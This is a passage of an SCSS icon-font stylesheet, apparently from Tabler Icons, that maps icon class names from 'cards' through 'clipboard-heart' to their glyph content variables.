{\n  content: $ti-icon-cards;\n}\n\n.#{$ti-prefix}-cards-filled:before {\n  content: $ti-icon-cards-filled;\n}\n\n.#{$ti-prefix}-caret-down:before {\n  content: $ti-icon-caret-down;\n}\n\n.#{$ti-prefix}-caret-down-filled:before {\n  content: $ti-icon-caret-down-filled;\n}\n\n.#{$ti-prefix}-caret-left:before {\n  content: $ti-icon-caret-left;\n}\n\n.#{$ti-prefix}-caret-left-filled:before {\n  content: $ti-icon-caret-left-filled;\n}\n\n.#{$ti-prefix}-caret-left-right:before {\n  content: $ti-icon-caret-left-right;\n}\n\n.#{$ti-prefix}-caret-left-right-filled:before {\n  content: $ti-icon-caret-left-right-filled;\n}\n\n.#{$ti-prefix}-caret-right:before {\n  content: $ti-icon-caret-right;\n}\n\n.#{$ti-prefix}-caret-right-filled:before {\n  content: $ti-icon-caret-right-filled;\n}\n\n.#{$ti-prefix}-caret-up:before {\n  content: $ti-icon-caret-up;\n}\n\n.#{$ti-prefix}-caret-up-down:before {\n  content: $ti-icon-caret-up-down;\n}\n\n.#{$ti-prefix}-caret-up-down-filled:before {\n  content: $ti-icon-caret-up-down-filled;\n}\n\n.#{$ti-prefix}-caret-up-filled:before {\n  content: $ti-icon-caret-up-filled;\n}\n\n.#{$ti-prefix}-carousel-horizontal:before {\n  content: $ti-icon-carousel-horizontal;\n}\n\n.#{$ti-prefix}-carousel-horizontal-filled:before {\n  content: $ti-icon-carousel-horizontal-filled;\n}\n\n.#{$ti-prefix}-carousel-vertical:before {\n  content: $ti-icon-carousel-vertical;\n}\n\n.#{$ti-prefix}-carousel-vertical-filled:before {\n  content: $ti-icon-carousel-vertical-filled;\n}\n\n.#{$ti-prefix}-carrot:before {\n  content: $ti-icon-carrot;\n}\n\n.#{$ti-prefix}-carrot-off:before {\n  content: $ti-icon-carrot-off;\n}\n\n.#{$ti-prefix}-cash:before {\n  content: $ti-icon-cash;\n}\n\n.#{$ti-prefix}-cash-banknote:before {\n  content: $ti-icon-cash-banknote;\n}\n\n.#{$ti-prefix}-cash-banknote-filled:before {\n  content: $ti-icon-cash-banknote-filled;\n}\n\n.#{$ti-prefix}-cash-banknote-off:before {\n  content: $ti-icon-cash-banknote-off;\n}\n\n.#{$ti-prefix}-cash-off:before {\n  content: $ti-icon-cash-off;\n}\n\n.#{$ti-prefix}-cast:before {\n  content: $ti-icon-cast;\n}\n\n.#{$ti-prefix}-cast-off:before {\n  content: $ti-icon-cast-off;\n}\n\n.#{$ti-prefix}-cat:before {\n  content: $ti-icon-cat;\n}\n\n.#{$ti-prefix}-category:before {\n  content: $ti-icon-category;\n}\n\n.#{$ti-prefix}-category-2:before {\n  content: $ti-icon-category-2;\n}\n\n.#{$ti-prefix}-category-filled:before {\n  content: $ti-icon-category-filled;\n}\n\n.#{$ti-prefix}-category-minus:before {\n  content: $ti-icon-category-minus;\n}\n\n.#{$ti-prefix}-category-plus:before {\n  content: $ti-icon-category-plus;\n}\n\n.#{$ti-prefix}-ce:before {\n  content: $ti-icon-ce;\n}\n\n.#{$ti-prefix}-ce-off:before {\n  content: $ti-icon-ce-off;\n}\n\n.#{$ti-prefix}-cell:before {\n  content: $ti-icon-cell;\n}\n\n.#{$ti-prefix}-cell-signal-1:before {\n  content: $ti-icon-cell-signal-1;\n}\n\n.#{$ti-prefix}-cell-signal-2:before {\n  content: $ti-icon-cell-signal-2;\n}\n\n.#{$ti-prefix}-cell-signal-3:before {\n  content: $ti-icon-cell-signal-3;\n}\n\n.#{$ti-prefix}-cell-signal-4:before {\n  content: $ti-icon-cell-signal-4;\n}\n\n.#{$ti-prefix}-cell-signal-5:before {\n  content: $ti-icon-cell-signal-5;\n}\n\n.#{$ti-prefix}-cell-signal-off:before {\n  content: $ti-icon-cell-signal-off;\n}\n\n.#{$ti-prefix}-certificate:before {\n  content: $ti-icon-certificate;\n}\n\n.#{$ti-prefix}-certificate-2:before {\n  content: $ti-icon-certificate-2;\n}\n\n.#{$ti-prefix}-certificate-2-off:before {\n  content: $ti-icon-certificate-2-off;\n}\n\n.#{$ti-prefix}-certificate-off:before {\n  content: $ti-icon-certificate-off;\n}\n\n.#{$ti-prefix}-chair-director:before {\n  content: $ti-icon-chair-director;\n}\n\n.#{$ti-prefix}-chalkboard:before {\n  content: $ti-icon-chalkboard;\n}\n\n.#{$ti-prefix}-chalkboard-off:before {\n  content: $ti-icon-chalkboard-off;\n}\n\n.#{$ti-prefix}-charging-pile:before {\n  content: $ti-icon-charging-pile;\n}\n\n.#{$ti-prefix}-chart-arcs:before {\n  content: $ti-icon-chart-arcs;\n}\n\n.#{$ti-prefix}-chart-arcs-3:before {\n  content: $ti-icon-chart-arcs-3;\n}\n\n.#{$ti-prefix}-chart-area:before {\n  content: $ti-icon-chart-area;\n}\n\n.#{$ti-prefix}-chart-area-filled:before {\n  content: $ti-icon-chart-area-filled;\n}\n\n.#{$ti-prefix}-chart-area-line:before {\n  content: $ti-icon-chart-area-line;\n}\n\n.#{$ti-prefix}-chart-area-line-filled:before {\n  content: $ti-icon-chart-area-line-filled;\n}\n\n.#{$ti-prefix}-chart-arrows:before {\n  content: $ti-icon-chart-arrows;\n}\n\n.#{$ti-prefix}-chart-arrows-vertical:before {\n  content: $ti-icon-chart-arrows-vertical;\n}\n\n.#{$ti-prefix}-chart-bar:before {\n  content: $ti-icon-chart-bar;\n}\n\n.#{$ti-prefix}-chart-bar-off:before {\n  content: $ti-icon-chart-bar-off;\n}\n\n.#{$ti-prefix}-chart-bubble:before {\n  content: $ti-icon-chart-bubble;\n}\n\n.#{$ti-prefix}-chart-bubble-filled:before {\n  content: $ti-icon-chart-bubble-filled;\n}\n\n.#{$ti-prefix}-chart-candle:before {\n  content: $ti-icon-chart-candle;\n}\n\n.#{$ti-prefix}-chart-candle-filled:before {\n  content: $ti-icon-chart-candle-filled;\n}\n\n.#{$ti-prefix}-chart-circles:before {\n  content: $ti-icon-chart-circles;\n}\n\n.#{$ti-prefix}-chart-donut:before {\n  content: $ti-icon-chart-donut;\n}\n\n.#{$ti-prefix}-chart-donut-2:before {\n  content: $ti-icon-chart-donut-2;\n}\n\n.#{$ti-prefix}-chart-donut-3:before {\n  content: $ti-icon-chart-donut-3;\n}\n\n.#{$ti-prefix}-chart-donut-4:before {\n  content: $ti-icon-chart-donut-4;\n}\n\n.#{$ti-prefix}-chart-donut-filled:before {\n  content: $ti-icon-chart-donut-filled;\n}\n\n.#{$ti-prefix}-chart-dots:before {\n  content: $ti-icon-chart-dots;\n}\n\n.#{$ti-prefix}-chart-dots-2:before {\n  content: $ti-icon-chart-dots-2;\n}\n\n.#{$ti-prefix}-chart-dots-3:before {\n  content: $ti-icon-chart-dots-3;\n}\n\n.#{$ti-prefix}-chart-dots-filled:before {\n  content: $ti-icon-chart-dots-filled;\n}\n\n.#{$ti-prefix}-chart-grid-dots:before {\n  content: $ti-icon-chart-grid-dots;\n}\n\n.#{$ti-prefix}-chart-grid-dots-filled:before {\n  content: $ti-icon-chart-grid-dots-filled;\n}\n\n.#{$ti-prefix}-chart-histogram:before {\n  content: $ti-icon-chart-histogram;\n}\n\n.#{$ti-prefix}-chart-infographic:before {\n  content: $ti-icon-chart-infographic;\n}\n\n.#{$ti-prefix}-chart-line:before {\n  content: $ti-icon-chart-line;\n}\n\n.#{$ti-prefix}-chart-pie:before {\n  content: $ti-icon-chart-pie;\n}\n\n.#{$ti-prefix}-chart-pie-2:before {\n  content: $ti-icon-chart-pie-2;\n}\n\n.#{$ti-prefix}-chart-pie-3:before {\n  content: $ti-icon-chart-pie-3;\n}\n\n.#{$ti-prefix}-chart-pie-4:before {\n  content: $ti-icon-chart-pie-4;\n}\n\n.#{$ti-prefix}-chart-pie-filled:before {\n  content: $ti-icon-chart-pie-filled;\n}\n\n.#{$ti-prefix}-chart-pie-off:before {\n  content: $ti-icon-chart-pie-off;\n}\n\n.#{$ti-prefix}-chart-ppf:before {\n  content: $ti-icon-chart-ppf;\n}\n\n.#{$ti-prefix}-chart-radar:before {\n  content: $ti-icon-chart-radar;\n}\n\n.#{$ti-prefix}-chart-sankey:before {\n  content: $ti-icon-chart-sankey;\n}\n\n.#{$ti-prefix}-chart-scatter:before {\n  content: $ti-icon-chart-scatter;\n}\n\n.#{$ti-prefix}-chart-scatter-3d:before {\n  content: $ti-icon-chart-scatter-3d;\n}\n\n.#{$ti-prefix}-chart-treemap:before {\n  content: $ti-icon-chart-treemap;\n}\n\n.#{$ti-prefix}-check:before {\n  content: $ti-icon-check;\n}\n\n.#{$ti-prefix}-checkbox:before {\n  content: $ti-icon-checkbox;\n}\n\n.#{$ti-prefix}-checklist:before {\n  content: $ti-icon-checklist;\n}\n\n.#{$ti-prefix}-checks:before {\n  content: $ti-icon-checks;\n}\n\n.#{$ti-prefix}-checkup-list:before {\n  content: $ti-icon-checkup-list;\n}\n\n.#{$ti-prefix}-cheese:before {\n  content: $ti-icon-cheese;\n}\n\n.#{$ti-prefix}-chef-hat:before {\n  content: $ti-icon-chef-hat;\n}\n\n.#{$ti-prefix}-chef-hat-off:before {\n  content: $ti-icon-chef-hat-off;\n}\n\n.#{$ti-prefix}-cherry:before {\n  content: $ti-icon-cherry;\n}\n\n.#{$ti-prefix}-cherry-filled:before {\n  content: $ti-icon-cherry-filled;\n}\n\n.#{$ti-prefix}-chess:before {\n  content: $ti-icon-chess;\n}\n\n.#{$ti-prefix}-chess-bishop:before {\n  content: $ti-icon-chess-bishop;\n}\n\n.#{$ti-prefix}-chess-bishop-filled:before {\n  content: $ti-icon-chess-bishop-filled;\n}\n\n.#{$ti-prefix}-chess-filled:before {\n  content: $ti-icon-chess-filled;\n}\n\n.#{$ti-prefix}-chess-king:before {\n  content: $ti-icon-chess-king;\n}\n\n.#{$ti-prefix}-chess-king-filled:before {\n  content: $ti-icon-chess-king-filled;\n}\n\n.#{$ti-prefix}-chess-knight:before {\n  content: $ti-icon-chess-knight;\n}\n\n.#{$ti-prefix}-chess-knight-filled:before {\n  content: $ti-icon-chess-knight-filled;\n}\n\n.#{$ti-prefix}-chess-queen:before {\n  content: $ti-icon-chess-queen;\n}\n\n.#{$ti-prefix}-chess-queen-filled:before {\n  content: $ti-icon-chess-queen-filled;\n}\n\n.#{$ti-prefix}-chess-rook:before {\n  content: $ti-icon-chess-rook;\n}\n\n.#{$ti-prefix}-chess-rook-filled:before {\n  content: $ti-icon-chess-rook-filled;\n}\n\n.#{$ti-prefix}-chevron-compact-down:before {\n  content: $ti-icon-chevron-compact-down;\n}\n\n.#{$ti-prefix}-chevron-compact-left:before {\n  content: $ti-icon-chevron-compact-left;\n}\n\n.#{$ti-prefix}-chevron-compact-right:before {\n  content: $ti-icon-chevron-compact-right;\n}\n\n.#{$ti-prefix}-chevron-compact-up:before {\n  content: $ti-icon-chevron-compact-up;\n}\n\n.#{$ti-prefix}-chevron-down:before {\n  content: $ti-icon-chevron-down;\n}\n\n.#{$ti-prefix}-chevron-down-left:before {\n  content: $ti-icon-chevron-down-left;\n}\n\n.#{$ti-prefix}-chevron-down-right:before {\n  content: $ti-icon-chevron-down-right;\n}\n\n.#{$ti-prefix}-chevron-left:before {\n  content: $ti-icon-chevron-left;\n}\n\n.#{$ti-prefix}-chevron-left-pipe:before {\n  content: $ti-icon-chevron-left-pipe;\n}\n\n.#{$ti-prefix}-chevron-right:before {\n  content: $ti-icon-chevron-right;\n}\n\n.#{$ti-prefix}-chevron-right-pipe:before {\n  content: $ti-icon-chevron-right-pipe;\n}\n\n.#{$ti-prefix}-chevron-up:before {\n  content: $ti-icon-chevron-up;\n}\n\n.#{$ti-prefix}-chevron-up-left:before {\n  content: $ti-icon-chevron-up-left;\n}\n\n.#{$ti-prefix}-chevron-up-right:before {\n  content: $ti-icon-chevron-up-right;\n}\n\n.#{$ti-prefix}-chevrons-down:before {\n  content: $ti-icon-chevrons-down;\n}\n\n.#{$ti-prefix}-chevrons-down-left:before {\n  content: $ti-icon-chevrons-down-left;\n}\n\n.#{$ti-prefix}-chevrons-down-right:before {\n  content: $ti-icon-chevrons-down-right;\n}\n\n.#{$ti-prefix}-chevrons-left:before {\n  content: $ti-icon-chevrons-left;\n}\n\n.#{$ti-prefix}-chevrons-right:before {\n  content: $ti-icon-chevrons-right;\n}\n\n.#{$ti-prefix}-chevrons-up:before {\n  content: $ti-icon-chevrons-up;\n}\n\n.#{$ti-prefix}-chevrons-up-left:before {\n  content: $ti-icon-chevrons-up-left;\n}\n\n.#{$ti-prefix}-chevrons-up-right:before {\n  content: $ti-icon-chevrons-up-right;\n}\n\n.#{$ti-prefix}-chisel:before {\n  content: $ti-icon-chisel;\n}\n\n.#{$ti-prefix}-christmas-ball:before {\n  content: $ti-icon-christmas-ball;\n}\n\n.#{$ti-prefix}-christmas-tree:before {\n  content: $ti-icon-christmas-tree;\n}\n\n.#{$ti-prefix}-christmas-tree-off:before {\n  content: $ti-icon-christmas-tree-off;\n}\n\n.#{$ti-prefix}-circle:before {\n  content: $ti-icon-circle;\n}\n\n.#{$ti-prefix}-circle-arrow-down:before {\n  content: $ti-icon-circle-arrow-down;\n}\n\n.#{$ti-prefix}-circle-arrow-down-filled:before {\n  content: $ti-icon-circle-arrow-down-filled;\n}\n\n.#{$ti-prefix}-circle-arrow-down-left:before {\n  content: $ti-icon-circle-arrow-down-left;\n}\n\n.#{$ti-prefix}-circle-arrow-down-left-filled:before {\n  content: $ti-icon-circle-arrow-down-left-filled;\n}\n\n.#{$ti-prefix}-circle-arrow-down-right:before {\n  content: $ti-icon-circle-arrow-down-right;\n}\n\n.#{$ti-prefix}-circle-arrow-down-right-filled:before {\n  content: $ti-icon-circle-arrow-down-right-filled;\n}\n\n.#{$ti-prefix}-circle-arrow-left:before {\n  content: $ti-icon-circle-arrow-left;\n}\n\n.#{$ti-prefix}-circle-arrow-left-filled:before {\n  content: $ti-icon-circle-arrow-left-filled;\n}\n\n.#{$ti-prefix}-circle-arrow-right:before {\n  content: $ti-icon-circle-arrow-right;\n}\n\n.#{$ti-prefix}-circle-arrow-right-filled:before {\n  content: $ti-icon-circle-arrow-right-filled;\n}\n\n.#{$ti-prefix}-circle-arrow-up:before {\n  content: $ti-icon-circle-arrow-up;\n}\n\n.#{$ti-prefix}-circle-arrow-up-filled:before {\n  content: $ti-icon-circle-arrow-up-filled;\n}\n\n.#{$ti-prefix}-circle-arrow-up-left:before {\n  content: $ti-icon-circle-arrow-up-left;\n}\n\n.#{$ti-prefix}-circle-arrow-up-left-filled:before {\n  content: $ti-icon-circle-arrow-up-left-filled;\n}\n\n.#{$ti-prefix}-circle-arrow-up-right:before {\n  content: $ti-icon-circle-arrow-up-right;\n}\n\n.#{$ti-prefix}-circle-arrow-up-right-filled:before {\n  content: $ti-icon-circle-arrow-up-right-filled;\n}\n\n.#{$ti-prefix}-circle-caret-down:before {\n  content: $ti-icon-circle-caret-down;\n}\n\n.#{$ti-prefix}-circle-caret-left:before {\n  content: $ti-icon-circle-caret-left;\n}\n\n.#{$ti-prefix}-circle-caret-right:before {\n  content: $ti-icon-circle-caret-right;\n}\n\n.#{$ti-prefix}-circle-caret-up:before {\n  content: $ti-icon-circle-caret-up;\n}\n\n.#{$ti-prefix}-circle-check:before {\n  content: $ti-icon-circle-check;\n}\n\n.#{$ti-prefix}-circle-check-filled:before {\n  content: $ti-icon-circle-check-filled;\n}\n\n.#{$ti-prefix}-circle-chevron-down:before {\n  content: $ti-icon-circle-chevron-down;\n}\n\n.#{$ti-prefix}-circle-chevron-left:before {\n  content: $ti-icon-circle-chevron-left;\n}\n\n.#{$ti-prefix}-circle-chevron-right:before {\n  content: $ti-icon-circle-chevron-right;\n}\n\n.#{$ti-prefix}-circle-chevron-up:before {\n  content: $ti-icon-circle-chevron-up;\n}\n\n.#{$ti-prefix}-circle-chevrons-down:before {\n  content: $ti-icon-circle-chevrons-down;\n}\n\n.#{$ti-prefix}-circle-chevrons-left:before {\n  content: $ti-icon-circle-chevrons-left;\n}\n\n.#{$ti-prefix}-circle-chevrons-right:before {\n  content: $ti-icon-circle-chevrons-right;\n}\n\n.#{$ti-prefix}-circle-chevrons-up:before {\n  content: $ti-icon-circle-chevrons-up;\n}\n\n.#{$ti-prefix}-circle-dashed:before {\n  content: $ti-icon-circle-dashed;\n}\n\n.#{$ti-prefix}-circle-dashed-number-0:before {\n  content: $ti-icon-circle-dashed-number-0;\n}\n\n.#{$ti-prefix}-circle-dashed-number-1:before {\n  content: $ti-icon-circle-dashed-number-1;\n}\n\n.#{$ti-prefix}-circle-dashed-number-2:before {\n  content: $ti-icon-circle-dashed-number-2;\n}\n\n.#{$ti-prefix}-circle-dashed-number-3:before {\n  content: $ti-icon-circle-dashed-number-3;\n}\n\n.#{$ti-prefix}-circle-dashed-number-4:before {\n  content: $ti-icon-circle-dashed-number-4;\n}\n\n.#{$ti-prefix}-circle-dashed-number-5:before {\n  content: $ti-icon-circle-dashed-number-5;\n}\n\n.#{$ti-prefix}-circle-dashed-number-6:before {\n  content: $ti-icon-circle-dashed-number-6;\n}\n\n.#{$ti-prefix}-circle-dashed-number-7:before {\n  content: $ti-icon-circle-dashed-number-7;\n}\n\n.#{$ti-prefix}-circle-dashed-number-8:before {\n  content: $ti-icon-circle-dashed-number-8;\n}\n\n.#{$ti-prefix}-circle-dashed-number-9:before {\n  content: $ti-icon-circle-dashed-number-9;\n}\n\n.#{$ti-prefix}-circle-dashed-percentage:before {\n  content: $ti-icon-circle-dashed-percentage;\n}\n\n.#{$ti-prefix}-circle-dashed-x:before {\n  content: $ti-icon-circle-dashed-x;\n}\n\n.#{$ti-prefix}-circle-dot:before {\n  content: $ti-icon-circle-dot;\n}\n\n.#{$ti-prefix}-circle-dot-filled:before {\n  content: $ti-icon-circle-dot-filled;\n}\n\n.#{$ti-prefix}-circle-dotted:before {\n  content: $ti-icon-circle-dotted;\n}\n\n.#{$ti-prefix}-circle-filled:before {\n  content: $ti-icon-circle-filled;\n}\n\n.#{$ti-prefix}-circle-half:before {\n  content: $ti-icon-circle-half;\n}\n\n.#{$ti-prefix}-circle-half-2:before {\n  content: $ti-icon-circle-half-2;\n}\n\n.#{$ti-prefix}-circle-half-vertical:before {\n  content: $ti-icon-circle-half-vertical;\n}\n\n.#{$ti-prefix}-circle-key:before {\n  content: $ti-icon-circle-key;\n}\n\n.#{$ti-prefix}-circle-key-filled:before {\n  content: $ti-icon-circle-key-filled;\n}\n\n.#{$ti-prefix}-circle-letter-a:before {\n  content: $ti-icon-circle-letter-a;\n}\n\n.#{$ti-prefix}-circle-letter-a-filled:before {\n  content: $ti-icon-circle-letter-a-filled;\n}\n\n.#{$ti-prefix}-circle-letter-b:before {\n  content: $ti-icon-circle-letter-b;\n}\n\n.#{$ti-prefix}-circle-letter-b-filled:before {\n  content: $ti-icon-circle-letter-b-filled;\n}\n\n.#{$ti-prefix}-circle-letter-c:before {\n  content: $ti-icon-circle-letter-c;\n}\n\n.#{$ti-prefix}-circle-letter-c-filled:before {\n  content: $ti-icon-circle-letter-c-filled;\n}\n\n.#{$ti-prefix}-circle-letter-d:before {\n  content: $ti-icon-circle-letter-d;\n}\n\n.#{$ti-prefix}-circle-letter-d-filled:before {\n  content: $ti-icon-circle-letter-d-filled;\n}\n\n.#{$ti-prefix}-circle-letter-e:before {\n  content: $ti-icon-circle-letter-e;\n}\n\n.#{$ti-prefix}-circle-letter-e-filled:before {\n  content: $ti-icon-circle-letter-e-filled;\n}\n\n.#{$ti-prefix}-circle-letter-f:before {\n  content: $ti-icon-circle-letter-f;\n}\n\n.#{$ti-prefix}-circle-letter-f-filled:before {\n  content: $ti-icon-circle-letter-f-filled;\n}\n\n.#{$ti-prefix}-circle-letter-g:before {\n  content: $ti-icon-circle-letter-g;\n}\n\n.#{$ti-prefix}-circle-letter-g-filled:before {\n  content: $ti-icon-circle-letter-g-filled;\n}\n\n.#{$ti-prefix}-circle-letter-h:before {\n  content: $ti-icon-circle-letter-h;\n}\n\n.#{$ti-prefix}-circle-letter-h-filled:before {\n  content: $ti-icon-circle-letter-h-filled;\n}\n\n.#{$ti-prefix}-circle-letter-i:before {\n  content: $ti-icon-circle-letter-i;\n}\n\n.#{$ti-prefix}-circle-letter-i-filled:before {\n  content: $ti-icon-circle-letter-i-filled;\n}\n\n.#{$ti-prefix}-circle-letter-j:before {\n  content: $ti-icon-circle-letter-j;\n}\n\n.#{$ti-prefix}-circle-letter-j-filled:before {\n  content: $ti-icon-circle-letter-j-filled;\n}\n\n.#{$ti-prefix}-circle-letter-k:before {\n  content: $ti-icon-circle-letter-k;\n}\n\n.#{$ti-prefix}-circle-letter-k-filled:before {\n  content: $ti-icon-circle-letter-k-filled;\n}\n\n.#{$ti-prefix}-circle-letter-l:before {\n  content: $ti-icon-circle-letter-l;\n}\n\n.#{$ti-prefix}-circle-letter-l-filled:before {\n  content: $ti-icon-circle-letter-l-filled;\n}\n\n.#{$ti-prefix}-circle-letter-m:before {\n  content: $ti-icon-circle-letter-m;\n}\n\n.#{$ti-prefix}-circle-letter-m-filled:before {\n  content: $ti-icon-circle-letter-m-filled;\n}\n\n.#{$ti-prefix}-circle-letter-n:before {\n  content: $ti-icon-circle-letter-n;\n}\n\n.#{$ti-prefix}-circle-letter-n-filled:before {\n  content: $ti-icon-circle-letter-n-filled;\n}\n\n.#{$ti-prefix}-circle-letter-o:before {\n  content: $ti-icon-circle-letter-o;\n}\n\n.#{$ti-prefix}-circle-letter-o-filled:before {\n  content: $ti-icon-circle-letter-o-filled;\n}\n\n.#{$ti-prefix}-circle-letter-p:before {\n  content: $ti-icon-circle-letter-p;\n}\n\n.#{$ti-prefix}-circle-letter-p-filled:before {\n  content: $ti-icon-circle-letter-p-filled;\n}\n\n.#{$ti-prefix}-circle-letter-q:before {\n  content: $ti-icon-circle-letter-q;\n}\n\n.#{$ti-prefix}-circle-letter-q-filled:before {\n  content: $ti-icon-circle-letter-q-filled;\n}\n\n.#{$ti-prefix}-circle-letter-r:before {\n  content: $ti-icon-circle-letter-r;\n}\n\n.#{$ti-prefix}-circle-letter-r-filled:before {\n  content: $ti-icon-circle-letter-r-filled;\n}\n\n.#{$ti-prefix}-circle-letter-s:before {\n  content: $ti-icon-circle-letter-s;\n}\n\n.#{$ti-prefix}-circle-letter-s-filled:before {\n  content: $ti-icon-circle-letter-s-filled;\n}\n\n.#{$ti-prefix}-circle-letter-t:before {\n  content: $ti-icon-circle-letter-t;\n}\n\n.#{$ti-prefix}-circle-letter-t-filled:before {\n  content: $ti-icon-circle-letter-t-filled;\n}\n\n.#{$ti-prefix}-circle-letter-u:before {\n  content: $ti-icon-circle-letter-u;\n}\n\n.#{$ti-prefix}-circle-letter-u-filled:before {\n  content: $ti-icon-circle-letter-u-filled;\n}\n\n.#{$ti-prefix}-circle-letter-v:before {\n  content: $ti-icon-circle-letter-v;\n}\n\n.#{$ti-prefix}-circle-letter-v-filled:before {\n  content: $ti-icon-circle-letter-v-filled;\n}\n\n.#{$ti-prefix}-circle-letter-w:before {\n  content: $ti-icon-circle-letter-w;\n}\n\n.#{$ti-prefix}-circle-letter-w-filled:before {\n  content: $ti-icon-circle-letter-w-filled;\n}\n\n.#{$ti-prefix}-circle-letter-x:before {\n  content: $ti-icon-circle-letter-x;\n}\n\n.#{$ti-prefix}-circle-letter-x-filled:before {\n  content: $ti-icon-circle-letter-x-filled;\n}\n\n.#{$ti-prefix}-circle-letter-y:before {\n  content: $ti-icon-circle-letter-y;\n}\n\n.#{$ti-prefix}-circle-letter-y-filled:before {\n  content: $ti-icon-circle-letter-y-filled;\n}\n\n.#{$ti-prefix}-circle-letter-z:before {\n  content: $ti-icon-circle-letter-z;\n}\n\n.#{$ti-prefix}-circle-letter-z-filled:before {\n  content: $ti-icon-circle-letter-z-filled;\n}\n\n.#{$ti-prefix}-circle-minus:before {\n  content: $ti-icon-circle-minus;\n}\n\n.#{$ti-prefix}-circle-minus-2:before {\n  content: $ti-icon-circle-minus-2;\n}\n\n.#{$ti-prefix}-circle-number-0:before {\n  content: $ti-icon-circle-number-0;\n}\n\n.#{$ti-prefix}-circle-number-0-filled:before {\n  content: $ti-icon-circle-number-0-filled;\n}\n\n.#{$ti-prefix}-circle-number-1:before {\n  content: $ti-icon-circle-number-1;\n}\n\n.#{$ti-prefix}-circle-number-1-filled:before {\n  content: $ti-icon-circle-number-1-filled;\n}\n\n.#{$ti-prefix}-circle-number-2:before {\n  content: $ti-icon-circle-number-2;\n}\n\n.#{$ti-prefix}-circle-number-2-filled:before {\n  content: $ti-icon-circle-number-2-filled;\n}\n\n.#{$ti-prefix}-circle-number-3:before {\n  content: $ti-icon-circle-number-3;\n}\n\n.#{$ti-prefix}-circle-number-3-filled:before {\n  content: $ti-icon-circle-number-3-filled;\n}\n\n.#{$ti-prefix}-circle-number-4:before {\n  content: $ti-icon-circle-number-4;\n}\n\n.#{$ti-prefix}-circle-number-4-filled:before {\n  content: $ti-icon-circle-number-4-filled;\n}\n\n.#{$ti-prefix}-circle-number-5:before {\n  content: $ti-icon-circle-number-5;\n}\n\n.#{$ti-prefix}-circle-number-5-filled:before {\n  content: $ti-icon-circle-number-5-filled;\n}\n\n.#{$ti-prefix}-circle-number-6:before {\n  content: $ti-icon-circle-number-6;\n}\n\n.#{$ti-prefix}-circle-number-6-filled:before {\n  content: $ti-icon-circle-number-6-filled;\n}\n\n.#{$ti-prefix}-circle-number-7:before {\n  content: $ti-icon-circle-number-7;\n}\n\n.#{$ti-prefix}-circle-number-7-filled:before {\n  content: $ti-icon-circle-number-7-filled;\n}\n\n.#{$ti-prefix}-circle-number-8:before {\n  content: $ti-icon-circle-number-8;\n}\n\n.#{$ti-prefix}-circle-number-8-filled:before {\n  content: $ti-icon-circle-number-8-filled;\n}\n\n.#{$ti-prefix}-circle-number-9:before {\n  content: $ti-icon-circle-number-9;\n}\n\n.#{$ti-prefix}-circle-number-9-filled:before {\n  content: $ti-icon-circle-number-9-filled;\n}\n\n.#{$ti-prefix}-circle-off:before {\n  content: $ti-icon-circle-off;\n}\n\n.#{$ti-prefix}-circle-percentage:before {\n  content: $ti-icon-circle-percentage;\n}\n\n.#{$ti-prefix}-circle-plus:before {\n  content: $ti-icon-circle-plus;\n}\n\n.#{$ti-prefix}-circle-plus-2:before {\n  content: $ti-icon-circle-plus-2;\n}\n\n.#{$ti-prefix}-circle-rectangle:before {\n  content: $ti-icon-circle-rectangle;\n}\n\n.#{$ti-prefix}-circle-rectangle-off:before {\n  content: $ti-icon-circle-rectangle-off;\n}\n\n.#{$ti-prefix}-circle-square:before {\n  content: $ti-icon-circle-square;\n}\n\n.#{$ti-prefix}-circle-triangle:before {\n  content: $ti-icon-circle-triangle;\n}\n\n.#{$ti-prefix}-circle-x:before {\n  content: $ti-icon-circle-x;\n}\n\n.#{$ti-prefix}-circle-x-filled:before {\n  content: $ti-icon-circle-x-filled;\n}\n\n.#{$ti-prefix}-circles:before {\n  content: $ti-icon-circles;\n}\n\n.#{$ti-prefix}-circles-filled:before {\n  content: $ti-icon-circles-filled;\n}\n\n.#{$ti-prefix}-circles-relation:before {\n  content: $ti-icon-circles-relation;\n}\n\n.#{$ti-prefix}-circuit-ammeter:before {\n  content: $ti-icon-circuit-ammeter;\n}\n\n.#{$ti-prefix}-circuit-battery:before {\n  content: $ti-icon-circuit-battery;\n}\n\n.#{$ti-prefix}-circuit-bulb:before {\n  content: $ti-icon-circuit-bulb;\n}\n\n.#{$ti-prefix}-circuit-capacitor:before {\n  content: $ti-icon-circuit-capacitor;\n}\n\n.#{$ti-prefix}-circuit-capacitor-polarized:before {\n  content: $ti-icon-circuit-capacitor-polarized;\n}\n\n.#{$ti-prefix}-circuit-cell:before {\n  content: $ti-icon-circuit-cell;\n}\n\n.#{$ti-prefix}-circuit-cell-plus:before {\n  content: $ti-icon-circuit-cell-plus;\n}\n\n.#{$ti-prefix}-circuit-changeover:before {\n  content: $ti-icon-circuit-changeover;\n}\n\n.#{$ti-prefix}-circuit-diode:before {\n  content: $ti-icon-circuit-diode;\n}\n\n.#{$ti-prefix}-circuit-diode-zener:before {\n  content: $ti-icon-circuit-diode-zener;\n}\n\n.#{$ti-prefix}-circuit-ground:before {\n  content: $ti-icon-circuit-ground;\n}\n\n.#{$ti-prefix}-circuit-ground-digital:before {\n  content: $ti-icon-circuit-ground-digital;\n}\n\n.#{$ti-prefix}-circuit-inductor:before {\n  content: $ti-icon-circuit-inductor;\n}\n\n.#{$ti-prefix}-circuit-motor:before {\n  content: $ti-icon-circuit-motor;\n}\n\n.#{$ti-prefix}-circuit-pushbutton:before {\n  content: $ti-icon-circuit-pushbutton;\n}\n\n.#{$ti-prefix}-circuit-resistor:before {\n  content: $ti-icon-circuit-resistor;\n}\n\n.#{$ti-prefix}-circuit-switch-closed:before {\n  content: $ti-icon-circuit-switch-closed;\n}\n\n.#{$ti-prefix}-circuit-switch-open:before {\n  content: $ti-icon-circuit-switch-open;\n}\n\n.#{$ti-prefix}-circuit-voltmeter:before {\n  content: $ti-icon-circuit-voltmeter;\n}\n\n.#{$ti-prefix}-clear-all:before {\n  content: $ti-icon-clear-all;\n}\n\n.#{$ti-prefix}-clear-formatting:before {\n  content: $ti-icon-clear-formatting;\n}\n\n.#{$ti-prefix}-click:before {\n  content: $ti-icon-click;\n}\n\n.#{$ti-prefix}-clipboard:before {\n  content: $ti-icon-clipboard;\n}\n\n.#{$ti-prefix}-clipboard-check:before {\n  content: $ti-icon-clipboard-check;\n}\n\n.#{$ti-prefix}-clipboard-copy:before {\n  content: $ti-icon-clipboard-copy;\n}\n\n.#{$ti-prefix}-clipboard-data:before {\n  content: $ti-icon-clipboard-data;\n}\n\n.#{$ti-prefix}-clipboard-heart:before {\n  content: 